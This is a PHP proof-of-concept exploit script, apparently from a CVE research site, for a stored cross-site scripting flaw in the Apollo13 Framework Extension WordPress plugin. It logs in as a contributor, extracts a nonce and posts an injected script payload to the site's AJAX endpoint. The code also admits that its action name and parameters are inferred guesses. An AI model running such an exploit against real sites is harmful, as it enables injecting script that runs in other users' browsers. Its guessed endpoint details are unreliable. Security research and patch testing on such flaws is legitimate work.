CVE-2025-13617: Apollo13 Framework Extension <= 1.9.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via `a13_alt_link` Parameter (apollo13-framework-extensions)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13617 - Apollo13 Framework Extension <= 1.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via `a13_alt_link` Parameter
<?php
/**
 * Proof of Concept for CVE-2025-13617.
 * ASSUMPTIONS: The vulnerable endpoint is an AJAX handler. The required nonce and action name are inferred.
 * Contributor-level credentials are required.
 */

$target_url = 'https://example.com'; // CHANGE THIS
$username   = 'contributor_user';    // CHANGE THIS
$password   = 'contributor_pass';    // CHANGE THIS

// Payload to inject. This is a simple alert for demonstration.
$payload = '<img src=x onerror=alert("Atomic Edge XSS via a13_alt_link")>';

// Step 1: Authenticate and obtain cookies and nonce.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Fetch an admin page to get a nonce. Assumes the action is triggered from an admin page.
// The exact nonce parameter name is unknown; a common pattern is used.
$admin_url = $target_url . '/wp-admin/admin.php?page=apollo13-framework-extensions';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$admin_page = curl_exec($ch);

// Extract a nonce. This regex is a generic pattern for WordPress nonces.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $admin_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

if (empty($nonce)) {
    echo "[-] Could not extract nonce. The page structure may differ.n";
    exit;
}

// Step 3: Exploit the vulnerability via the inferred AJAX endpoint.
// The exact AJAX action is unknown; a plausible pattern based on the plugin slug is used.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'a13_save_alt_link', // INFERRED action name
    '_wpnonce' => $nonce,
    'a13_alt_link' => $payload,      // The vulnerable parameter
    // Other required parameters (e.g., post_id) are unknown and omitted for this PoC.
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);

// Step 4: Check response.
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo "[+] Exploit request sent. Check if payload was stored.n";
    echo "    Response snippet: " . substr($ajax_response, 0, 200) . "n";
} else {
    echo "[-] Request failed with HTTP code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
}

curl_close($ch);
?>